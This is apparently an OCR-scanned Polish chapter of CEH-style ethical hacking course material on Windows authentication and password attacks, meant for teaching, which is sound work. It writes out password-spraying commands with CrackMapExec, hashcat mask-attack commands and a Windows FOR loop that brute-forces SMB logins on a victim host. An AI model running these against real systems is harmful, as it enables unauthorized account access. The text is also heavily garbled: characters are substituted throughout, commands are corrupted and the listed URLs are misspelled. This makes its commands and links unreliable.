Hakowanie systemu
Cele ksztatcenia

Wtamywanie sie do systemu jest jednym z najwazniejszych, a czasem nawet ostatecznym celem
atakujgcego. Atakujgcy uzyskuje informacje za pomoca technik takich jak footprinting, skanowanie,
wyliczanie i analiza podatnosci na ataki, a nastepnie wykorzystuje te informacje do wtamania sie do
systemu docelowego. Ten modut skupi sie na narzedziach i technikach wykorzystywanych przez
atakujgcego do wtamania sie do systemu docelowego. Pod koniec tego modutu bedziesz w stanie
wykonaé nastepujgce czynnosci:

» Wyjasnij rdzne techniki uzyskiwania dostepu do systemu

e Zastosuj techniki eskalacji uprawnien

¢ Wyjasnij rozne techniki uzyskiwania i utrzymywania zdalnego dostepu do systemu
e Opisz rézne typy rootkitow

¢ Wyjasnij techniki steganografii i steganalizy

e Zastosuj rozne techniki, aby ukry¢ dowody kompromisu

e Zastosuj rozne srodki zaradcze hakowania systemu

Uzyska¢ dostep

Jak oméwiono w Module 1, metodologia hakowania CEH (CHM) obejmuje rézne kroki, ktére atakujacy
podejmujg w celu zhakowania systemédw. W ponizszych sekcjach omdéwiono te kroki bardziej
szczegétowo. Pierwszy krok polega na wykorzystaniu przez atakujgcych réinych technik w celu
uzyskania dostepu do docelowego systemu. Techniki te obejmujg famanie haset, wykorzystywanie
przepetnien bufora i wykorzystywanie zidentyfikowanych luk w zabezpieczeniach.

tamanie haset
Uwierzytelnianie Microsoftu

Gdy uzytkownicy logujg sie do komputera z systemem Windows, wykonywana jest seria krokéw w celu
uwierzytelnienia uzytkownika. System operacyjny Windows uwierzytelnia swoich uzytkownikéw za
pomocg trzech mechanizméw (protokotdw) dostarczonych przez firme Microsoft.

Baza danych menedzera kont zabezpieczen (SAM).

System Windows uzywa bazy danych Menedzera kont zabezpieczen (SAM) lub bazy danych ustugi
Active Directory do zarzadzania kontami uzytkownikow i hastami w formacie zaszyfrowanym (skrot
jednokierunkowy). System nie przechowuje haset w postaci zwyktego tekstu, ale w postaci
zaszyfrowanej, aby chronic je przed atakami. System implementuje baze danych SAM jako plik rejestru,
a jadro systemu Windows uzyskuje i utrzymuje wytgczng blokade systemu plikdw w pliku SAM.
Poniewaz ten plik zawiera blokade systemu plikbw, zapewnia to pewng miare bezpieczenstwa
przechowywania haset. Nie ma mozliwosci skopiowania pliku SAM do innej lokalizacji w przypadku
atakdéw online. Poniewaz system blokuje plik SAM wytgczng blokadg systemu plikéw, uzytkownik nie
moze go skopiowac ani przenies¢, gdy system Windows jest uruchomiony. Blokada nie zostanie
zwolniona, dopdki system nie zgtosi wyjatku niebieskiego ekranu lub system operacyjny nie zostanie
zamkniety. Aby jednak udostepni¢ skréty haset do atakow typu brute-force w trybie offline, osoby
atakujgce moga zrzuci¢ zawarto$¢ dysku z pliku SAM przy uzyciu réznych technik. Plik SAM



wykorzystuje funkcje SYSKEY (w systemie Windows NT 4.0 i nowszych wersjach) do czesciowego
szyfrowania skréotow haset. Nawet jesli hakerzy stosujg techniki podstepu, aby odkry¢ zawartos$é,
zaszyfrowane klucze z jednokierunkowym haszem utrudniajg wtamanie. Ponadto niektdre wersje majg
klucz dodatkowy, ktory sprawia, ze szyfrowanie jest specyficzne dla tej kopii systemu operacyjnego.

Uwierzytelnianie NTLM

NT LAN Manager (NTLM) to domyslny schemat uwierzytelniania, ktéry przeprowadza uwierzytelnianie
przy uzyciu strategii wyzwanie/odpowiedz. Poniewaz nie opiera sie na zadnej oficjalnej specyfikacji
protokotu, nie ma gwarancji, ze dziata skutecznie w kazdej sytuacji. Ponadto byt uzywany w niektérych
instalacjach systemu Windows, gdzie z powodzeniem dziatat. Uwierzytelnianie NTLM skfada sie z
dwdch protokotéw: protokotu uwierzytelniania NTLM i protokotu uwierzytelniania LAN Manager (LM).
Protokoty te wykorzystujg rézne metodologie mieszania do przechowywania haset uzytkownikéw w
bazie danych SAM.

Uwierzytelnianie Kerberosem

Kerberos to protokdt uwierzytelniania sieciowego, ktéry zapewnia silne uwierzytelnianie aplikacji
klient/serwer za pomocag kryptografii tajnego klucza. Ten protokdt zapewnia wzajemne
uwierzytelnianie, w ktérym zaréwno serwer, jak i uzytkownik weryfikujg swojg tozsamos¢. Wiadomosci
przesytane przez protokét Kerberos sg chronione przed atakami powtdrkowymi i podstuchem.
Kerberos korzysta z Centrum dystrybucji kluczy (KDC), ktore jest zaufang strong trzecig. Sktada sie on z
dwdch logicznie odrebnych czesci: serwera uwierzytelniajgcego (AS) i serwera przyznajgcego bilety
(TGS). Kerberos uzywa ,biletéw” do udowodnienia tozsamosci uzytkownika. Firma Microsoft
zaktualizowata swdéj domysiny protokdét uwierzytelniania do Kerberos, ktéry zapewnia silniejsze
uwierzytelnianie aplikacji klient/serwer niz NTLM.

Jak hasta skrétu sg przechowywane w Windows SAM?

Systemy operacyjne Windows uzywajg pliku bazy danych Security Account Manager (SAM) do
przechowywania haset uzytkownikow. Plik SAM jest przechowywany w
%SystemRoot%/system32/config/SAM w systemach Windows, a system Windows montuje go w
rejestrze w gatezi rejestru HKLM/SAM. Przechowuje zaszyfrowane hasta LM lub NTLM. NTLM zastepuje
skrét LM, ktoéry jest podatny na ztamanie. Nowe wersje systemu Windows nadal obstugujg skréty LM
w celu zapewnienia kompatybilnosci wstecznej; jednak Vista i nowsze wersje systemu Windows
domysinie wytgczajg skréty LM. Hash LM jest pusty w nowszych wersjach systemu Windows. Wybranie
opcji usuwania skrotéw LM umozliwia dodatkowe sprawdzenie podczas operacji zmiany hasta, ale nie
powoduje natychmiastowego usuniecia wartosci skrotow LM z SAM. Plik SAM przechowuje w swojej
bazie danych ,fatszywa” wartos¢, ktdra nie ma zadnego zwigzku z rzeczywistym hastem uzytkownika i
jest taka sama dla wszystkich kont uzytkownikéw. Nie jest mozliwe obliczenie skrétéw LM dla haset o
dtugosci przekraczajgcej 14 znakow. Dlatego wartos¢ skrétu LM jest ustawiana na wartosé ,, fikcyjng”,
gdy uzytkownik lub administrator ustawia hasto dtuzsze niz 14 znakéw.

Uwaga: skréoty LM sg wytgczone w systemie Windows Vista i nowszych systemach operacyjnych
Windows; LM jest puste w tych systemach.

Proces uwierzytelniania NTLM

NTLM obejmuje trzy metody uwierzytelniania typu wyzwanie-odpowiedz: LM, NTLMvl i NTLMv2, z
ktorych wszystkie wykorzystujg te samg technike uwierzytelniania. Jedyng réznicg miedzy nimi jest
poziom szyfrowania. W uwierzytelnianiu NTLM klient i serwer negocjujg protokdt uwierzytelniania.
Odbywa sie to za posrednictwem wynegocjowanego przez firme Microsoft dostawcy obstugi



zabezpieczen (SSP). Ponizsze kroki ilustrujg proces i przeptyw uwierzytelniania klienta do kontrolera
domeny przy uzyciu dowolnego protokotu NTLM:

e Klient wpisuje nazwe uzytkownika i hasto w oknie logowania.

¢ System Windows przepuszcza hasto przez algorytm wyznaczania wartosci skrétu i generuje skrét dla
hasta wprowadzonego w oknie logowania.

e Komputer kliencki wysyta zgdanie logowania wraz z nazwg domeny do kontrolera domeny.

e Kontroler domeny generuje 16-bajtowy losowy cigg znakédw o nazwie ,nonce”, ktéry wysyta do
komputera klienckiego.

e Komputer kliencki szyfruje identyfikator jednorazowy za pomocg skrétu hasta uzytkownika i wysyta
go z powrotem do kontrolera domeny.

e Kontroler domeny pobiera skrét hasta uzytkownika z SAM i uzywa go do zaszyfrowania wartosci
jednorazowej. Nastepnie kontroler domeny poréwnuje zaszyfrowang wartos$¢ z wartos$cig otrzymang
od klienta. Pasujgca wartosc uwierzytelnia klienta, a logowanie korczy sie pomysinie.

Uwaga: Firma Microsoft zaktualizowata swéj domysiny protokdt uwierzytelniania do Kerberos, ktéry
zapewnia silniejsze uwierzytelnianie aplikacji klient/serwer niz NTLM.

Uwierzytelnianie Kerberosem

Kerberos to protokdt uwierzytelniania sieciowego, ktéry zapewnia silne uwierzytelnianie aplikacji
klient/serwer za pomoca kryptografii tajnego klucza, ktéra zapewnia wzajemne uwierzytelnianie.
Zarowno serwer, jak i uzytkownik weryfikujg swojg tozsamos$¢. Wiadomosci wysytane przez ten
protokdt sg chronione przed atakami powtérkowymi i podstuchem. Kerberos wykorzystuje KDC,
zaufang strone trzeciy, i sktada sie z dwdch logicznie odrebnych czesci: AS i TGS. Mechanizm autoryzacji
Kerberos zapewnia uzytkownikowi bilet uprawniajgcy bilet (TGT), ktory stuzy do pdiniejszego
uwierzytelnienia w celu uzyskania dostepu do okreslonych ustug, Single Sign-On, dzieki ktéremu
uzytkownik nie musi ponownie wpisywac hasta, aby uzyska¢ dostep do jakichkolwiek autoryzowanych
ustug . Warto zauwazyé¢, ze nie ma bezposredniej komunikacji miedzy serwerami aplikacji a KDC; bilety
serwisowe, nawet zapakowane przez TGS, docierajg do serwisu tylko za posrednictwem klienta, ktéry
wyrazi na to zgode.

tamanie hasta

tamanie haset to proces odzyskiwania haset z danych przesytanych przez system komputerowy lub z
danych w nim przechowywanych. Celem ztamania hasta moze by¢ pomoc uzytkownikowi w odzyskaniu
zapomnianego lub utraconego hasta, jako srodek zapobiegawczy stosowany przez administratoréw
systemu w celu sprawdzenia haset fatwych do ztamania lub do wykorzystania przez osobe atakujgca w
celu uzyskania nieautoryzowanego dostepu do systemu. Hakowanie czesto zaczyna sie od préb
ztamania hasta. Hasto to kluczowa informacja niezbedna do uzyskania dostepu do systemu. W zwigzku
z tym wiekszo$¢ atakujgcych stosuje techniki tamania haset w celu uzyskania nieautoryzowanego
dostepu. Osoba atakujgca moze albo recznie ztama¢ hasto, odgadujagc je, albo wuzyé
zautomatyzowanych narzedzi i technik, takich jak stownik lub metoda brutalnej sity. Wiekszos¢ technik
tamania haset jest skuteczna z powodu stabych lub tatwych do odgadniecia haset.

Rodzaje atakéw na hasta

tamanie haset to jeden z kluczowych etapéw hakowania systemu. Mechanizmy tamania haset czesto
wykorzystujg legalne $rodki w celu uzyskania nieautoryzowanego dostepu do systemu, takie jak



odzyskiwanie zapomnianego hasta uzytkownika. Klasyfikacja atakéw na hasta zalezy od dziatan
atakujacego, ktére dzielg sie na cztery typy:

Ataki nieelektroniczne: w wiekszosci przypadkow jest to pierwsza proba zdobycia hasta do systemu
docelowego przez atakujgcego. Ataki nieelektroniczne lub nietechniczne nie wymagajg zadnej wiedzy
technicznej na temat hakowania lub wykorzystywania systemu. Techniki wykorzystywane do
przeprowadzania atakéw nieelektronicznych obejmujg surfowanie po ramieniu, inzynierie spoteczng,
nurkowanie w $mietniku itp.

Aktywne ataki online: Jest to jeden z najtatwiejszych sposobdéw uzyskania nieautoryzowanego dostepu
do systemu na poziomie administratora. Tutaj atakujgcy komunikuje sie z maszyng docelowa, aby
uzyska¢ dostep do hasta. Techniki wykorzystywane do przeprowadzania aktywnych atakéw online
obejmuja zgadywanie haset, ataki stownikowe i sitowe, rozpylanie haset, atak maska, wstrzykiwanie
haszu, zatruwanie LLMNR/NBT-NS, uzywanie trojanéw/oprogramowania szpiegujgcego/rejestratoréw
klawiszy, ataki monologédw wewnetrznych, ataki faicuchowe Markowa , famanie haset Kerberos itp.

Pasywne ataki online: Atak pasywny to rodzaj ataku systemowego, ktéry nie prowadzi do zadnych
zmian w systemie. W tym ataku atakujgcy nie musi komunikowaé sie z systemem, ale pasywnie
monitorowac lub rejestrowac dane przechodzgce kanatem komunikacyjnym do iz systemu. Dane s3
nastepnie wykorzystywane do wtamania do systemu. Techniki wykorzystywane do przeprowadzania
pasywnych atakéw online obejmujg wachanie przewoddw, ataki typu man-in-the-middle, ataki
powtdrkowe itp.

Ataki w trybie offline: Ataki w trybie offline odnoszg sie do atakdw na hasta, w ktérych osoba atakujgca
prébuje odzyskac hasta w postaci zwyktego tekstu ze zrzutu skrétu hasta. Atakujgcy uzywajg wstepnie
obliczonych skrétéw z teczowych tabel do przeprowadzania atakéw sieciowych w trybie offline i
rozproszonych.

Ataki nieelektroniczne

Istniejg trzy rodzaje atakéw nieelektronicznych: socjotechnika, surfowanie po ramieniu i nurkowanie
w $mietniku.

Inzynieria spoteczna

W bezpieczenstwie komputerowym inzynieria spoteczna jest uzywana do okreslenia nietechnicznego
typu witamania, ktére wykorzystuje ludzkie zachowanie. Zwykle w duzym stopniu opiera sie na
interakcji miedzyludzkiej i czesto polega na naktanianiu innych oséb do ztamania normalnych procedur
bezpieczenstwa. Inzynier spoteczny prowadzi ,oszukancza gre”, aby ztama¢ procedury
bezpieczenstwa. Na przyktad osoba atakujgca wykorzystujgca socjotechnike w celu wtamania sie do
sieci komputerowej moze probowaé zdoby¢ zaufanie autoryzowanego uzytkownika do uzyskania
dostepu do sieci docelowej, a nastepnie wydoby¢ informacje w celu naruszenia bezpieczeristwa sieci.
Socjotechnika to w rzeczywistosci metoda stuzgca do pozyskiwania poufnych informacji poprzez
oszukiwanie lub naktanianie ludzi. Osoba atakujgca moze przebraé sie za uzytkownika lub
administratora systemu, aby uzyskac hasto uzytkownika. Inzynierowie spoteczni wykorzystujg fakt, ze
ludzie na ogdt starajg sie budowad przyjazne relacje ze swoimi przyjaciétmi i wspdtpracownikami, sg
pomocni i ufni. Inna cecha inzynierii spotecznej polega na niezdolnosci ludzi do nadgzania za kulturg,
ktéra w duzym stopniu opiera sie na technologii informacyjnej. Wiekszos¢ ludzi nie zdaje sobie sprawy
z wartosci posiadanych informacji, dlatego tylko nieliczni dbajg o ochrone ich informacje. Inzynierowie
spoteczni zazwyczaj przeszukujg smietniki, aby zdoby¢ cenne informacje. Co wiecej, inzynierowie
spoteczni uwazajg, ze uzyskanie kombinacji do sejfu lub szafki w klubie fitness jest trudniejsze niz w



przypadku hasta. Najlepszg obrong jest edukacja, szkolenie i budowanie swiadomosci na temat tego
ataku i wartosci informacji.

Surfowanie na ramieniu

Surfowanie po ramieniu to technika kradziezy haset polegajgca na zblizaniu sie do legalnych
uzytkownikéw i obserwowaniu, jak wprowadzajg swoje hasta. W tego typu ataku atakujgcy obserwuje
klawiature lub ekran uzytkownika podczas logowania i monitoruje to, do czego odnosi sie uzytkownik
podczas wprowadzania hasta, na przyktad przedmiot na biurku w poszukiwaniu zapisanych haset lub
mnemonikéw. Atak ten mozna jednak wykonac¢ tylko wtedy, gdy atakujgcy znajduje sie w bliskiej
odlegtosci od celu. Atak ten moze by¢ réwniez przeprowadzony w kolejkach do kasy w sklepach
spozywczych, na przyktad gdy potencjalna ofiara przecigga karte debetowgq i wprowadza wymagany
kod PIN (Personal Identification Number). Kod PIN zazwyczaj sktada sie z czterech cyfr, co utatwia
przeprowadzenie ataku.

Nurkowanie w smietniku

,Dumpster Diving” to kluczowa metoda ataku, ktdra wykorzystuje powazne btedy w zabezpieczeniach
komputera w systemie docelowym. Wrazliwe informacje, ktdérych ludzie pragng, chronig i z
poswieceniem zabezpieczajg, majg dostep do prawie kazdego, kto chce przeprowadzi¢ wyszukiwanie
$Smieci. Przegladanie $mieci to rodzaj ataku o niskim poziomie zaawansowania technologicznego, ktory
ma wiele implikacji. Nurkowanie w $mietnikach byto dos¢ popularne w latach 80. Sam termin odnosi
sie do zbierania przydatnych, ogdlnych informacji z wysypisk $mieci, takich jak kosze na $mieci,
kontenery przy kraweznikach i smietniki. Nawet dzisiaj ciekawscy i/lub zto$liwi napastnicy czasami
znajdujg wyrzucone nosniki z plikami haset, podrecznikami, raportami, paragonami, numerami kart
kredytowych lub innymi poufnymi dokumentami. Badanie produktéw odpadowych ze sktadowisk
moze pomodc atakujgcym w uzyskaniu nieautoryzowanego dostepu do docelowych systemow, a
istnieje wiele dowoddéw na poparcie tej koncepcji. Personel pomocniczy czesto wyrzuca poufne
informacje, nie zwracajgc uwagi na to, kto moze mie¢ do nich dostep pdzniej. Zebrane w ten sposdb
informacje mogg by¢ nastepnie wykorzystane przez osoby atakujgce do przeprowadzania innych
rodzajow atakow, takich jak socjotechnika.

Aktywne ataki online
Atak stownikowy

W przypadku tego typu ataku plik stownika jest tadowany do aplikacji tamajacej zabezpieczenia, ktéra
dziata na kontach uzytkownikow. Stownik ten jest plikiem tekstowym zawierajgcym kilka stow ze
stownika powszechnie uzywanych jako hasta. Program wykorzystuje kazde stowo obecne w stowniku,
aby znaleZ¢ hasto. Oprécz standardowego stownika, stowniki atakujgcego zawierajg wpisy z cyframi i
symbolami dodanymi do stéw (np. ,,3 grudnia!962”). Proste rolki palcdw na klawiaturze (,,qwer0987”),
ktore wedtug wielu osdb generujg losowe i bezpieczne hasta, sg zatem zawarte w takim stowniku. Ataki
stownikowe sg bardziej przydatne niz ataki brute-force, jednak te pierwsze nie moga byc
przeprowadzane w systemach wykorzystujgcych hasta. Atak ten ma zastosowanie w dwéch sytuacjach:

o W kryptoanalizie, aby odkry¢ klucz deszyfrujacy do uzyskania tekstu jawnego z zaszyfrowanego
tekstu

o W bezpieczenstwie komputerowym, aby oming¢ uwierzytelnianie i uzyska¢ dostep do mechanizmu
kontrolnego komputera poprzez odgadywanie haset

Metody poprawy skutecznosci ataku stownikowego:



o Korzystanie z kilku réznych stownikéw, takich jak stowniki techniczne i zagraniczne, co zwieksza liczbe
mozliwosci

o Uzywanie manipulacji ciggami znakdw wraz ze stownikiem (np. jesli stownik zawiera stowo ,,system”,
manipulacja ciggami tworzy miedzy innymi anagramy, takie jak ,metsys”)

Atak Brute force

W ataku brute-force napastnicy wyprébowujg kazdg kombinacje znakdéw, dopdki hasto nie zostanie
ztamane. Algorytmy kryptograficzne muszg by¢ wystarczajgco wzmocnione, aby zapobiec atakowi
bruteforce, ktdry jest zdefiniowany przez RSA w nastepujgcy sposdb: ,Wyczerpujace wyszukiwanie
klucza lub wyszukiwanie bruteforce to podstawowa technika wyprébowywania kazdego mozliwego
klucza po kolei, az zostanie zidentyfikowany wtasciwy klucz”. Atak brute-force ma miejsce, gdy ktos
prébuje stworzy¢ kazdy pojedynczy klucz szyfrowania danych w celu wykrycia potrzebnych informacji.
Nawet dzisiaj tylko ci, ktérzy dysponujg wystarczajgcg mocg obliczeniowg, mogg z powodzeniem
przeprowadzi¢ tego typu atak. Kryptoanaliza to brutalny atak na szyfrowanie, ktéry wykorzystuje
przeszukiwanie przestrzeni klucza. Innymi stowy, testowanie wszystkich mozliwych kluczy jest jedng z
prob odzyskania tekstu jawnego uzytego do stworzenia okreslonego zaszyfrowanego tekstu. Wykrycie
klucza lub zwyktego tekstu, ktdre jest szybsze niz atak sitowy, jest jednym ze sposobdéw ztamania szyfru.
Szyfr jest bezpieczny, jesli nie istnieje inna metoda jego ztamania niz atak sitowy. Ogdlnie rzecz biorac,
wszystkie szyfry nie majg matematycznego dowodu bezpieczenstwa. Jesli uzytkownik losowo wybierze
klucze lub wyszukuje losowo, tekst jawny bedzie dostepny $rednio po wyprébowaniu przez system
pofowy wszystkich mozliwych kluczy. Niektére z rozwazan dotyczacych atakdéw brute-force sg
nastepujace:

o Jest to czasochtonny proces
o Wszystkie hasta zostang ostatecznie znalezione
Atak oparty na regutach

Atakujgcy stosujg ten typ ataku, gdy uzyskujg informacje o hasle. Jest to potezniejszy atak niz ataki
stownikowe i brute-force, poniewaz cracker zna typ hasta. Na przyktad, jesli atakujgcy wie, ze hasto
zawiera dwu- lub trzycyfrowg liczbe, moze uzy¢ okreslonych technik, aby szybko wydoby¢ hasto.
Uzyskujac przydatne informacje, takie jak metoda uzycia cyfr i/lub znakéw specjalnych oraz dtugosé
hasta, osoby atakujgce mogg skréci¢ czas potrzebny do ztamania hasta, a tym samym udoskonali¢
narzedzie do famania. Technika ta obejmuje brutalng site, ataki stownikowe i sylaby. W przypadku
internetowych atakéw polegajacych na famaniu haset osoba atakujaca czasami uzywa kombinacji
zaréwno brutalnej sity, jak i stownika. Ta kombinacja nalezy do kategorii hybrydowych i sylabowych
atakdéw polegajgcych na tamaniu haset.

Atak hybrydowy

Ten rodzaj ataku zalezy od ataku stownikowego. Czesto ludzie zmieniajg swoje hasta, dodajgc kilka cyfr
do swoich starych haset. W takim przypadku program dodatby kilka cyfr i symboli do stdw ze stownika,
aby sprobowac ztamac¢ hasto. Na przyktad, jesli stare hasto to ,system”, istnieje szansa, ze dana osoba
zmieni je na ,systeml” lub ,system?2”.

o Atak sylaby

Hakerzy uzywajg tej techniki tamania zabezpieczen, gdy hasta nie sg znanymi stowami. Atakujgcy
wykorzystujg stownik i inne metody, aby je ztama¢, a takze wszelkie mozliwe ich kombinacje.



o Atak rozpylania hasta

Atak polegajgcy na rozpylaniu haset jest wymierzony w wiele kont uzytkownikéw jednoczes$nie przy
uzyciu jednego lub niewielkiego zestawu czesto uzywanych haset. W przeciwienstwie do atakéw brute-
force, ktdre sg ukierunkowane tylko na okreslone konta uzytkownikéw, atak polegajacy na rozpylaniu
haset jest skierowany do kazdego uzytkownika w okreslonej grupie roboczej. Aby przeprowadzi¢ ten
atak, osoby atakujgce koncentrujg sie gtéwnie na wykorzystaniu zasady blokowania konta, ktéra
umozliwia uzytkownikom uzywanie wielu haset przez okreslony czas lub okreslong liczbe préb, zanim
ich konta zostang zablokowane. Napastnicy poczatkowo prébujg wprowadzi¢ jedno czesto uzywane
hasto na wielu kontach jednoczesnie i czekajg na odpowiedz, zanim zainicjujg kolejng prébe podania
hasta na tych samych kontach. Kontynuujg ten proces, pozostajgc ponizej progu blokady, dzieki czemu
moga wyprébowac duzg liczbe haset bez wptywu mechanizméw automatycznej blokady. Rozpylanie
haset moze odbywaé sie na réznych etapach za posrednictwem wspdlnych portéw, takich jak MSSQL
(1433/TCP), SSH (22/TCP), FTP (21/TCP), SMB (445/TCP), Telnet (23/TCP) i Kerberos (88/TCP).
Atakujacy uzywajg narzedzi takich jak CrackMapExec do przeprowadzania atakéw polegajacych na
rozpylaniu haset,

o CrackMapExec

Atakujgcy uzywajg narzedzia CrackMapExec do automatyzacji procesu tamania haset catej domeny lub
haset cztonkdéw grupy roboczej przy uzyciu matego zestawu czesto uzywanych haset przechowywanych
w pliku .txt. Nastepujgce polecenie uruchamia narzedzie CrackMapExec z hastami przechowywanymi
w pliku passwords.txt:

crackmapexeo smb <IP> -u uzytkownicy.txt -p hasta.txt

Uruchom nastepujgce polecenie, aby sprawdzié, czy podczas procesu opryskiwania wystgpita blokada:
spray.sh -smb <targetIP> <usernamelList> <passwordList>

<Préby na okres blokady> <Okres blokady w minutach> <DOMENA>

Oto kilka dodatkowych narzedzi do ataku polegajgcego na rozpylaniu haset:

o Kerbrute (https://github.com)

o Invoke-DomainPasswordSpray (https://github.com)

o Spray (https://github.com)

o Omnispray (https://github.com)

Atak Maski

Atak maska jest podobny do atakow sitowych, ale odzyskuje hasta z skrétow z bardziej szczegdétowym
zestawem znakéw na podstawie informacji znanych atakujgcemu. Ataki typu brute-force s3
czasochtonne, poniewaz atakujgcy prébuje wszystkich mozliwych kombinacji znakéw, aby ztamad
hasto. Z kolei w przypadku ataku z uzyciem maski atakujgcy wykorzystuje wzér hasta, aby zawezi¢ liste
mozliwych haset i skrécic czas ztamania.

hashcat

Atakujgcy uzywajg narzedzia hashcat do przeprowadzania atakdw na hasta, takich jak ataki brute-force,
ataki stownikowe i ataki z uzyciem maski. Aby przeprowadzi¢ ataki z uzyciem maski, osoba atakujgca



musi zna¢ flagi uzywane dla wbudowanego zestawu znakow, niestandardowego zestawu znakow i
trybu ataku, aby utworzy¢ odpowiedni wzorzec hasta.

Wbudowane zestawy znakéw

Ponizszy wbudowany zestaw znakéw pomaga okresli¢ typ uzywanego znaku:
¢ ?1 = abcdefghijklmnopgrstuvwxyz

e ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ

e ?d = 0123456789

* ?h =0123456789abcdef

e ?H =0123456789ABCDEF

o ?s5 = «spacjar!"#S%&'()*+,-./;<=>?@[\]A_'{I }*
e ?a =7?I?u?d?s

e ?b = 0x00 - Oxff

Niestandardowy zestaw znakéow

Niestandardowy zestaw znakdéw jest uzywany w sytuacjach, gdy atakujacy nie ma pewnosci co do typu
znaku w konkretnym symbolu zastepczym:

e -1 abcdefghijkimnopgrstuvwxyz0123456789
e -1 abcdefghijklmnopgrstuvwxyz?d

¢ -1710123456789

-17?1d

Tryb mieszania

Atakujacy uzywajg flagi -m z hashcat, aby okresli¢ tryb mieszania, czyli typ skrétu do ztamania, na
przyktad MD5, NTML lub SHA256. Uruchom nastepujgce polecenie, aby ztamac hasta zawierajgce szesé

znakow, w ktérych pierwsze trzy to mate litery, a trzy ostatnie to cyfry. Wzér hasta wydaje sie by¢
?i?i?i?d?d?d.

hashcat -a 3 -m 0 md5_hashes.txt ?1?1?1?d?d?d
-a -> Okresla tryb ataku, ktéry wynosi tutaj 3 (atak sitowy)
-m-> Okresla typ skrétu, ktory wynosi tutaj 0 (MD5)

Uruchom nastepujace polecenie, aby ztamac¢ hasta o dtugosci osmiu znakdw, gdzie pierwszy znak to
wielka lub mata litera, ostatnie cztery znaki to cyfry, pierwsze dwie cyfry to 1i 9, a pozostate znaki to
mate litery.

hashcat -a 3 -m 0 md5_hashes.txt -1 ?1?u ?1?1?1?119?d?d
-1 ?i?u -> Okresla, czy znak jest wielka, czy matg literg alfabet

Aby ztamac hash hasta o nieznanej dtugosci, uzyj flagi --increment, podajgc maksymalng i minimalna
dtugosc hasta.



hashcat -m 0 -a 3 -i --increment-min=6 --increment-max=I0
53ab0dff8ecc7d5al8b4416d00568f02 ?1?1?1?1?1?1?1?1?1?1
--increment-min=6 -> Minimalna dtugos$¢ hasta to 6
--increment-max=10 -> Maksymalna dtugos¢ hasta to 10
Odgadywanie hasta

Zgadywanie hasfa to technika tamania haset polegajgca na prébie recznego zalogowania sie do systemu
docelowego przy uzyciu réznych haset. Zgadywanie jest kluczowym elementem recznego tamania
haset. Napastnik tworzy liste wszystkich mozliwych haset na podstawie informacji zebranych za
pomocg socjotechniki lub innej metody i prébuje recznie ztamac¢ hasta na maszynie ofiary. Ponizej
przedstawiono kroki zwigzane z odgadywaniem hasta:

0 Znajdz prawidtowego uzytkownika

o Utworz liste mozliwych haset

o Ranking haset od wysokiego do niskiego prawdopodobieristwa

o Wprowadz kazde hasto, az zostanie znalezione prawidtowe hasto

Hakerzy mogg tamac hasta recznie lub przy uzyciu zautomatyzowanych narzedzi, metod i algorytmow.
Moga rowniez zautomatyzowac tamanie haset za pomocg prostej petli FOR lub utworzy¢ plik skryptu,
ktory sprawdza kazde hasto z listy. Techniki te s3 nadal uwazane za reczne pekanie. Wskaznik
niepowodzen tego typu atakéw jest wysoki.

Reczny algorytm tamania haset

W najprostszej postaci algorytm ten moze zautomatyzowac odgadywanie hasta za pomocg prostej petli
FOR. W ponizszym przykfadzie osoba atakujgca tworzy prosty plik tekstowy z nazwami uzytkownikéw
i hastami i przetwarza je za pomocg petli FOR. Gtéwna petla FOR moze wyodrebnié nazwy
uzytkownikéw i hasta z pliku tekstowego, ktéry stuzy jako stownik podczas iteracji w kazdym wierszu:

[file: credentials.txt]
administrator ""

administrator password

administrator administrator

[Etc.]

Wopisz nastepujgce polecenia, aby uzyskac dostep do pliku tekstowego z katalogu:
c:\>FOR /F "tokens=I,2*" %i in (credentials.txt)A

More? do net use \\victim.com\IPCS %;j /u:victim.com\%iA

More? 2»nulA

More? && echo %time% %date% » outfile.txtA

More? && echo Wvictim.com acct: %i pass: %j » outfile.txt

c:\>type outfile.txt



Plik outfile.txt zawiera poprawng nazwe uzytkownika i hasto, jesli nazwa uzytkownika i hasto w pliku
credentials.txt s3 poprawne. Atakujgcy moze ustanowié otwartg sesje z serwerem ofiary za pomocg
swojego systemu.

Hasta domysine

Hasta domysine to hasta dostarczane przez producentéw z nowym sprzetem (np. przetaczniki,
koncentratory, routery). Zwykle domysine hasta dostarczane przez producentéw urzadzen
chronionych hastem umozliwiajg uzytkownikowi dostep do urzadzenia podczas poczatkowej
konfiguracji, a nastepnie zmiane hasta. Jednak czesto administrator albo zapomni ustawi¢ nowe hasto,
albo zignoruje zalecenie zmiany hasta i bedzie nadal uzywat oryginalnego hasta. Atakujgcy moga
wykorzystaé te luke i znalezé domysine hasto do urzadzenia docelowego na stronach internetowych
producentéw lub za pomoca narzedzi online, ktére pokazujg domysine hasta, aby pomysinie uzyskac
dostep do urzadzenia docelowego. Atakujgcy uzywajg domysinych haset na liscie stéw lub w stowniku,
ktorych uzywajg do przeprowadzania atakdow polegajgcych na odgadywaniu hasta. Oto niektére
narzedzia online do wyszukiwania haset domysinych:

o https://open-sez.me

o https://www.fortypoundheod.com
o https://cirt.net

lub http://www.defoultpossword.us
o https://www.routerposswords.com
o https://domyslne-hasto,info

o https://192-168-I-lip.mobi
Trojany/Spyware/Keyloggery

Trojan to program, ktéry maskuje sie jako szkodliwa aplikacja. Oprogramowanie poczagtkowo wydaje
sie wykonywaé pozadang lub nieszkodliwg funkcje, ale zamiast tego kradnie informacje lub szkodzi
systemowi. Za pomocy trojana osoby atakujace mogg uzyskac¢ zdalny dostep i wykonywac rézne
operacje ograniczone uprawnieniami uzytkownika na komputerze docelowym. Oprogramowanie
szpiegujace to rodzaj ztosliwego oprogramowania, ktére atakujgcy instalujg na komputerze w celu
potajemnego zbierania informacji o jego uzytkownikach bez ich wiedzy. Oprogramowanie szpiegujgce
ukrywa sie przed uzytkownikiem i moze by¢ trudne do wykrycia. Keylogger to program, ktéry rejestruje
wszystkie nacisniecia klawiszy uzytkownika bez jego wiedzy. Keyloggery wysytajg dziennik nacisnieé
klawiszy uzytkownika na maszyne atakujgcego lub ukrywajg go w maszynie ofiary do pdzniejszego
odzyskania. Nastepnie osoba atakujgca analizuje dziennik w celu znalezienia haset lub innych
przydatnych  informacji, ktére  moglyby  zagrozi¢  systemowi. Atakujgcy instaluje
trojana/spyware/keyloggera na komputerze ofiary w celu zebrania nazw uzytkownikdéw i haset.
Programy te dziatajg w tle i odsytajg atakujgcemu wszystkie poswiadczenia uzytkownika. Na przykfad
keylogger na komputerze ofiary moze ujawnié zawartos¢ wszystkich wiadomosci e-mail uzytkownika.
